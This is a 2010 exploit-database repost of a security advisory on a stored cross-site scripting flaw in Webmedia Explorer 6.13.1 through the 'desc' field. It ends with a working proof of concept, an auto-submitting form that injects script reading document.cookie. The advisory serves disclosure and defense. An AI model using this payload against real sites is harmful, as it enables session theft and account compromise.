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[webapps / 0day] - Webmedia Explorer 6.13.1 Stored Cross Sit

Posted on 02 November 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Webmedia Explorer 6.13.1 Stored Cross Site Scripting Vulnerability | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Webmedia Explorer 6.13.1 Stored Cross Site Scripting Vulnerability by High-Tech Bridge . in webapps / 0day | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>================================================================== Webmedia Explorer 6.13.1 Stored Cross Site Scripting Vulnerability ================================================================== Product: Webmedia Explorer Vendor: Marc Salmurri ( http://www.webmediaexplorer.com/ ) Vulnerable Version: 6.13.1 and probably prior versions Vendor Notification: 19 October 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking &amp; Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the &quot;6.13.1!&quot;&gt;&quot; script to properly sanitize user-supplied input in &quot;desc&quot; variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: &lt;form action=&quot;http://host/folder&quot; method=&quot;post&quot; name=&quot;main&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;object&quot; value=&quot;folder&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;desc&quot; value=&#039;title&quot;&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;&#039;&gt; &lt;input type=&quot;hidden&quot; name=&quot;tags&quot; value=&quot;&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;position&quot; value=&quot;&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;readme&quot; value=&quot;post txt&quot;&gt; &lt;/form&gt; &lt;script&gt; document.main.submit(); &lt;/script&gt; # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-11-02]</pre></body></html>

 

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